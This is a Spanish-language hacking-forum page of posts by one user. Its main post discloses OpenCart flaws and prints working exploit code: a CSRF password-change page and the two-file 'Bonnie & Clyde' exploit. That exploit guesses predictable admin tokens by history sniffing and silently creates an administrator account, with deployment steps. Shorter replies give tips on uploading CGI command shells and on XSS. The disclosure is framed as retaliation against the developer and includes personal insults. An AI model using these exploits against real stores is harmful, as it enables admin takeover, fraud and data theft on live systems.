Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - SH4V

#1
Nivel Web / OPENCART SUCKS!
18 Diciembre 2010, 14:03 PM
Hola gente. Escribo acerca de Opencart y su programador, el cual parece ser una persona incapaz en el más amplio sentido de la palabra. Desde elhacker.net hemos llevado a cabo una auditoría del sistema Opencart. El director del CMS Opencart fue invitado a la pagina de code.google.com donde solíamos ir publicando las vulnerabilidades. Este subnormal, porque  no se le puede llamar de otro modo, en lugar de hacer caso de los fallos de seguridad, prefiere cerrar los ojos, desvalorizar nuestras aportaciones y tomarnos por tontos (supongo). Por eso he decidido publicar los fallos de seguridad que he encontrado yo, así como las conversaciones con este individuo en la página de google. Si los compañeros del proyecto quieren publicar las suyas, adelante, les animo a ello. Anormales como este no deberían ser ayudados por nosotros para mejorar su sistema. Juzguen ustedes mismos:

Issue 15:   CROSS SITE REQUEST FORGERY [by SH4V]

Mediante un ataque CSRF ó XSRF (Cross Site Request Forgery) se puede forzar a un cliente a cambiar datos de su cuenta como la contraseña, su dirección de correo, nombre, apellidos... así como modificar productos de su carro de compra. Esto se debe a que no utiliza métodos de protección ante ataques CSRF como tokens o captchas. En la administración de OpenCart se utiliza un token que puede ser visualizado en la parte de la url:
admin/index.php?route=common/home&token=6512bd43d9caa6e02c990b0a82652dca
Esto hace que la Administración del sistema "esté segura" (más adelante mostraré como se genera esa clave, que puede ser hackeada extendiendo el XSRF al panel de adminsitración).

EXPLOIT:
<html>
<body>
<script>
var body=document.body;
var form=document.createElement("form");
form.action="http://www.opencart-example.es/index.php?route=account/password"; form.method="post";
form.enctype="multipart/form-data"; form.id="password";
body.appendChild(form);
var passwd=document.createElement("input");
passwd.type="hidden";
passwd.name="password"; passwd.value="12345";//Sustituir por su contraseña.
form.appendChild(passwd);
var confrm=document.createElement("input"); confrm.type="hidden";
confrm.name="confirm";
confrm.value="12345";//Sustituir por su contraseña. form.appendChild(confrm);
form.submit();
</script>
</body>
</html>


Saludos,

SH4V

RESPUESTA DE DANIEL KERR:

this could work.

but the how would you know who to email? and how would you know they are logged into their customer account. you are taking 1,000,000,000 to 1 chance that you could pull this off.

i can understand the admin panel, but trying to gain access to customers account is pretty pointless since no credit card data is stored.

RESPUESTA MÍA:

This completely works... and it's a security bug anyway. If you want to keep your eyes closed, go on. Social Engineering is pretty  powerful.




Issue 16:   CROSS SITE SCRIPTING [by SH4V]:

El panel de administración es vulnerable ataques XSS (Cross Site Scripting). A pesar de que OpenCart filtra bien prácticamente todas las variables de entrada a través de la función clean(), el editor HTML permite inyectar código javascript asociado a eventos HTML en los tag image y anchor (<img> y <a>). En las imágenes XSS0.png y XSS1.png adjuntas se puede observar a modo de ejemplo como explotar este fallo. En la imagen XSS0.png se muestra donde se inyecta el código. En la imagen XSS1.png se observa el código ejecutado.

XSS0.png:


XSS1.png:


RESPUESTA DE DANIEL KERR:

clown time again.// Me llama payaso o.O

I see you just forget completely that the ckeditor is behind the admin panel and you can not access it.

RESPUESTA MÍA:

But it's a XSS anyway. Don't be upset with me just because you are an awful programmer. Maybe you should think about why your system has been hacked so many times instead of making efforts devaluating the contributions of people that have more important stuffs than looking for vulnerabilities in your crappy system.




Issue 18:   PHP SCRIPT UPLOAD:

OpenCart brinda al administrador la oportunidad de vender archivos virtuales. Esto implica que el administrador deba subir esos archivos al servidor. El sistema cuenta con un mecanismo que comprueba la extensión del archivo y evita que aquellos con extensión .php lleguen al servidor. Con esto se pretende evitar al hacker tomar control directo del servidor en el caso de que haya burlado las medidas de seguridad necesarias para poseer el control del panel de administración. Esta misiva podría realizarse si el usuario consiguiera subir y ejecutar una shell en php.  Sin embargo, aunque pudiera parecer que estamos seguros ante este tipo de ataque, el mecanismo para detectar archivos con extension .php y que por tanto podrían contener el código de una shell y dar el control del servidor al atacante, no es seguro. La función upload(), localizada en el archivo admin/controller/common/filemanager.php no controla otras extensiones dañinas que también permiten ejecutar código PHP como es el caso de .php3, .php4, .php5, .php6, .phtml, php.00, php.01, etc... Así, un atacante que renombrara con una de estas extensiones su shell, podría subir exitosamente el archivo dañino y controlar el servidor.

RESPUESTA DE DANIEL KERR:

if you had bothered to check you would know that downloads are not saved with the extension and are renamed so people can not guess the files name. they also miss out completely the fact that uploading any type of files require access to the admin panel and have the correct permissions.

you really are a clown! //Y me llama otra vez payaso!

RESPUESTA MÍA:

You don't even understand anything!!! Once the hacker have taken cotrol of the admin panel by using the Bonie & Clyde exploit, he can access to the server by uploading a shell!




Issue 17:   TOKEN PREDICTION [by SH4V]:

Anteriormente se ha tratado el tema de los CSRF y su protección por medio de tokens (claves generadas de forma aleatoria que sólo conoce el administrador y por consiguiente impiden al atacante forzar a la víctima a realizar acciones en contra de su propia voluntad y bajo su propio desconocimiento). Sin embargo, si el atacante consiguiera predecir el token (la clave aleatoria genera del administrador), éste sería víctima otra vez de ataques CSRF puesto que la clave personal ó token sería utilizado por el atacante para realizar este tipo de ataques. Analizando el mecanismo de generación de tokens, el cual puede ser localizado en: /admin/controller/common/login.php vemos como resulta sencillísimo para un atacante predecir es clave:
$this->session->data['token'] = md5(rand(0, 15));
El código de arriba genera el token y lo almacena en una variable de sesión. La generación del token se hace del siguiente modo:

1. Se elige al azar un número del 0 al 15.
2. El número elegido al azar es cifrado a md5.
3. Ese número se almacena en una variable de sesión.

Como se puede observar, el atacante podría probar con cada uno de los 16 tokens posibles hasta que uno diera en el blanco. Junto a este informe se incluye un Exploit (programa para explotar fallos de seguridad) que permitiría a un atacante hacerse con el control de la administración explotando esta predicción del token. Tras dar con el token utilizado por el administrador, se le podría forzar a modificar su contraseña y entrar en el panel de administración.

Adjunto va un exploit que le he llamado BONNIE & CLYDE. Si tenéis dudas de como utilizarlo, leeis el README.

EXPLOIT:

Código (bonnie.htm) [Seleccionar]
<html>
<!--
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:       :
: Bonnie & Clyde       :
: Exploit para OpenCart > 1.4.9.x       :
:    by SH4V       :
:       :
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::-->
<body>
<script language="javascript">

function redirect(url){
document.location=url;
}

var adminRoute = "http://www.tudominio.es/admin/index.php?route=common/home&token=";//Modificar por http://tupagina.com/admin/index.php?route=common/home&token=
var urlredir="http://demo.opencart.com";//Elegir página a la que se quiere redirigir.

var md5 = ["cfcd208495d565ef66e7dff9f98764da",
"c4ca4238a0b923820dcc509a6f75849b",
"c81e728d9d4c2f636f067f89cc14862c",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"a87ff679a2f3e71d9181a67b7542122c",
"e4da3b7fbbce2345d7772b0674a318d5",
"1679091c5a880faf6fb5e6087eb1b2dc",
"8f14e45fceea167a5a36dedd4bea2543",
"c9f0f895fb98ab9159f51fd0297e236d",
"45c48cce2e2d7fbdea1afc51c7c6ad26",
"d3d9446802a44259755d38e6d163e820",
"6512bd43d9caa6e02c990b0a82652dca",
"c20ad4d76fe97759aa27a0c99bff6710",
"c51ce410c124a10e0db5e4b97fc2af39",
"aab3238922bcc25a6f606eb525ffdc56",
"9bf31c7ff062936a96d3c8bd1f8f2ff3"];

for (var i=0; i<md5.length; i++){

var anchor = document.createElement("a");
anchor.id = "anchor"+i;
anchor.href = adminRoute + md5[i];
anchor.innerHTML = md5[i];
document.write("<style>#anchor" + i + ":visited {color: #FFFFFF;}</style>");
document.body.appendChild(anchor);
var color = document.defaultView.getComputedStyle(anchor,null).getPropertyValue("color");
document.body.removeChild(anchor);
if (color == "rgb(255, 255, 255)"){
var frame = document.createElement("iframe");
frame.height="0";
frame.width="0";
frame.frameborder="0";
frame.scrolling="no";

frame.src="clyde.php?token="+md5[i];
document.body.appendChild(frame);
setTimeout("redirect(urlredir)", 4000);
}
}

</script>
</body>
</html>


Código (clyde.php) [Seleccionar]

<?php
/*
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:        :
: Bonnie & Clyde        :
: Exploit para OpenCart > 1.4.9.x        :
:     by SH4V        :
:        :
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
*/
$bank="http://www.tudominio.es/";//Modificar por la web. Ejemplo http://tuweb.com/
$user="";//Nombre de usuario
$name="";//Nombre
$last="";//Apellidos
$mail="";//Correo Electrónico
$passwd="";//Contraseña
($user=="")?$user="0wn3d":"foo";
(
$name=="")?$name="0wn3d":"foo";
(
$last=="")?$last="0wn3d":"foo";
(
$passwd=="")?$passwd="0wn3d":"foo";

if (isset(
$_GET['token'])){
$gun="<html>
<body>
<h1>alala</h1>
<script>
var form=document.createElement('form');
form.action='
$bank"."admin/index.php?route=user/user/insert&token=".htmlentities($_GET['token'])."';
form.method='post';
form.enctype='multipart/form-data';
var user=document.createElement('input');
user.type='hidden';
user.name='username';
user.value='
$user';
form.appendChild(user);

var name=document.createElement('input');
name.type='hidden';
name.name='firstname';
name.value='
$name';
form.appendChild(name);

var last=document.createElement('input');
last.type='hidden';
last.name='lastname';
last.value='
$last';
form.appendChild(last);

var mail=document.createElement('input');
mail.type='hidden';
mail.name='email';
mail.value='
$mail';
form.appendChild(mail);

var user_group_id=document.createElement('input');
user_group_id.type='hidden';
user_group_id.name='user_group_id';
user_group_id.value='1';
form.appendChild(user_group_id);

var passwd=document.createElement('input');
passwd.type='hidden';
passwd.name='password';
passwd.value='
$passwd';
form.appendChild(passwd);

var confirm=document.createElement('input');
confirm.type='hidden';
confirm.name='confirm';
confirm.value='
$passwd';
form.appendChild(confirm);

var status=document.createElement('input');
status.type='hidden';
status.name='status';
status.value='1';
form.appendChild(status);

document.body.appendChild(form);

document.forms[0].submit();

</script>

</body>
</html>"
;

echo 
$gun;
}

?>



Código (README) [Seleccionar]

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

:       :

: Bonnie & Clyde       :

: Exploit para OpenCart > 1.4.9.x       :

:    by SH4V       :

:       :

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::


El siguiente exploit permitirá a un atacante hacerse con el control del panel de administración.
Está compuesto por dos archivos llamados bonnie.htm y clyde.php. Estos archivos actúan juntos y
son 100% eficaces si el administrador ha iniciado sesión. El archivo bonnie.htm extrae posibles
tokens utilizados por el administrador en el panel de administración y crea unos frames al archivo
clyde.php, que a su vez lleva a cabo un ataque CSRF para crear un nuevo usuario con cuenta de
administrador. Todo esto realizado de forma imperceptible a la víctima, que será redirigida a una
página predefinida sin ser consciente de todo el proceso realizado. El ataque es una combinación
de varios fallos de seguridad incluidos en el informe. En este caso se crea un usuario nuevo que
tendría acceso al panel de administración pero pueden crearse múltiples variantes como por ejemplo:
cambiar la cuenta pay pal, alterar el número de cuenta en el que se deben realizar las transferencias
bancarias, modificar la contraseña del adminsitrador, eliminar y crear productos y/o categorías, etc.
Para hacerlo funcionar, hay que modificar los campos de usuario y contraseña del nuevo usuario que va
a ser creado con privilegios de administrador y subir ambos archivos a un servidor. Finalmente sólo
hay que enviar un link al archivo bonnie.htm (Ejemplo: http://servidor-del-hacker.com/bonnie.htm).
Una vez el administrador de OpenCart haya pinchado en ese link, un nuevo usuario con privilegios de
administrador será creado.





RESPUESTA DE DANIEL KERR:

which version does this work on?

or have you just been trolling the opencart forum?

as soon as we spotted the mistake it was fixed a few months ago but you decided to post it just 2 hours ago.

RESPUESTA MÍA:

Seriously... Don't you have any kind of tumor in your brain? Because I'm starting to be worried about you. Maybe you have lost the last neurons you had because otherwise I can't understand why you say it was fixed two months ago. The release opencart_v1.4.9.1 (08-September-2010) which can be downloaded from:

http://code.google.com/p/opencart/downloads/detail?name=opencart_v1.4.9.1.zip&can=2

... contains the following fragment of code in the directory "/admin/controller/common/login.php" which is still vulnerable:

$this->session->data['token'] = md5(rand(0, 15));

And a few hours later of the bug report, through the art of magic, a new release appeared which has mysteriously fixed this bug using the function mt_rand():

$this->session->data['token'] = md5(mt_rand());

Come on!! Stop thinking we are idiots because we are not. We are here to helping you without wanting money, just because we want to colaborate with your stupid project. And we have just been wasting our time with someone who cannot appreciate our contributions.

By the way, bugs are going to be revealed right away. And these conversations too. Thus, people will see which kind of person is managing the crappy project of Opencart.

SH4V.




Más información sobre este tema:

http://foro.elhacker.net/nivel_web/opencart_se_niega_a_arreglar_vulnerabilidades_y_sabotea_los_parches-t294544.0.html

Ya está todo dicho. He posteado los bugs y los exploits porque he acabado indignado con este personaje. Aún encima que perdemos nuestro tiempo en colaborar para su proyecto mejore, desvaloriza nuestras aportaciones y nos desvaloriza a nosotros.

Qué opináis?
#2
Nivel Web / Re: Hack my site
19 Agosto 2010, 01:39 AM
Pufff, muchísimos XSS, algunos persistentes. También hay XSRF y usurpación de identidad. Por cierto, en cuanto a lo del XSS una falla de bajo nivel... ja! [modeIronic=ON]tan poco potente como javascript, VBScript, ActionScript, etc...[modeIronic=OFF]

Saludos!
#3
Nivel Web / Re: SPOOFING WEB
5 Julio 2010, 10:00 AM
Nunca he probado lo de netcat, pero la IP también puede ser suplantada programando un script con sockets a bajo nivel. Pero el problema es que, como decía tragantras, el paquete no llegaría de nuevo al cliente, si no a la dirección spoofeada. Por eso los proxys suelen tener un registro de IP's que entran y salen. Son unos intermediarios.
#4
@Tinkode, I don't know whether you are the author of the vulnerability but I think it's more ethical to report it before post it. Just a sugerence. I tell you this because youtube offer a fairly good services for free, as well as google, and this kind of stuffs doesn't benefit them at all. I'd have reported rather than divulge it all around the www. Anyway, very good job! How did you reach to the security hole?
#5
Nivel Web / Re: SPOOFING WEB
4 Julio 2010, 13:22 PM
tragantas tiene razón. También se podrían spoofear los headers de los paquetes HTTP pero por ejemplo el campo IP es intocable. Si que podrías añadir el x-forwarded-for con una ip falsa. Pero sólo funcionaría si la web da prioridad al campo del x-forwarded-for que al ip, como mecanismo de "detección de proxy".

Saludos!
#6
Nivel Web / Re: dudas respuestas HTTP
22 Junio 2010, 00:49 AM
Si pegas la cabecera tal cual te podremos ayudar mejor ;). Quizá pueda ser un problema con los CR y LF del archivo de texto, aunque no creo...
#7
Cita de: SkillmaX en 21 Junio 2010, 09:15 AM
Se a sacado algun tutorial sobre esto???
Se puede utilizar en las webs que no permitan php, ni ningun lenguaje, menos
el html y en perl por ejemplo.

Skillmax, el asunto es que subir un cgi en otro lenguaje si no se puede en PHP/ASP o cualquier lenguaje con módulo en el servidor no es ninguna técnica nueva. Es algo tan obvio que la gente no lo considera como una técnica vanguardística ni mucho menos, por eso no hay nada publicado. Y es lo que decía Yoya, tan sencillo como subir un cgi en perl/ruby/python/cualquier lenguaje con interprete en la máquina, que ejecute comandos en el sistema. No hace falta que subas otro upload. Además, piensa que lo ejecutado por la shell PHP lo va a realizar el usuario nobody, mientras que si subes un script en otro lenguaje que no dependa de un módulo del servidor, no.
#8
A ver, esto es un FAKE. Lo que dice no se puede, es imposible. Ya lo he discutido con el en otro foro:

http://foro.infiernohacker.com/index.php/topic,15376.msg92983/topicseen.html#msg92983

Es absurdo totalmente. Os copio varias de las razones por las que no es posible:

1.- NO ES POSIBLE crear un uploader en HTML. Lo que puedes hacer es un formulario de subida de archivos (multipart form-data) que tenga el action= en el script PHP del servidor. Un formulario de subida de archivos por si solo no hace nada. Es como un formulario normal sin un action definido... El formulario SIEMPRE, tiene que estar conectado a un script (en este caso PHP) que procese dicho formulario. Por esa misma razón, para qué narices subirlo si lo puedes ejecutar desde tu propio pc?? y para qué molestarse en escribirlo si el script PHP (que está en el lado del servidor y NO PUEDES TOCARLO) va a ser el mismo??? Pues sólo tendría sentido hacer eso si hubiera un script del lado del cliente como podría ser javascript que controlase el formulario y el que hay lo único que controla es si el campo del título está vacío o no.

2.- Se trata de un LMS parecido a Moodle aunque mucho más inseguro, ya que he sacado por lo pronto 5 XSS's. He comprobado en mi servidor local que los archivos subidos se almacenan en:

/courses/nombre_del_curso/work/assig_x/

Y no en la carpeta root, que es en la que aparece tu shell. Además no es posible una manipulación de directorio gracias a esta función del script "/claroline/claroline/inc/lib/file.lib.php"

function secure_file_path( $path )
{
   while ( false !== strpos( $path, '://' )
       || false !== strpos( $path, '../' )
       || false !== strpos( $path, '/..' ) )
   {
       // protect against remote file inclusion
       $path = str_replace( '://', '', $path );
       // protect against arbitrary file inclusion
       $path = str_replace( '../', './', $path );
       $path = str_replace( '/..', '/.', $path );
   }

   return $path;
}


El verdadero peligro de ese LMS es el poder subir archivos html en los que se puede ejecutar javascript.

3.- La más importante: Tuve que ver el video una segunda vez para darme cuenta. El dominio en el que se hace la subida del archivo html 'www.iessietepalmas.org' no es el mismo que el dominio en el que aparece subida 'www.sonriecerronavia.cl'. Este tío es un mago! su método es tan eficaz que puede conseguir subir shells a otros servidores solo con el poder de su propia voluntad y un poco de ciencia infusa.

La aplicación controla por expresiones regulares si es un archivo php. Cualquiera de estos: php, phtml, php4, etc... Lo que pensé fue en subir un .htaccess que ejecutase los archivos phps como si fueran php. Sin embargo no es posible ya que renombra el archivo.
#9
Nivel Web / Re: problema con textarea
24 Mayo 2010, 00:49 AM
Tienes varias opciones:

- NO usar la directiva ENT_QUOTES y dejarlo solo asi:

echo htmlspecialchars($variable);

- Desactivar la directiva magic_quotes_gpc del php.ini

- Usar la funcion stripslashes(), pero te puede salir mal... tu mira que no tengas barras invertidas.

- Utilizar regexp.

Saludos!
#10
Nivel Web / Re: Ayuda XSS
24 Mayo 2010, 00:37 AM
Pero por lo que veo aplica un substr() a la variable de entrada. Si no hay manera de inyectar un xss por la limitacion de caracteres del script que esta corriendo del lado del servidor, busca otra variable de entrada.

Saludos!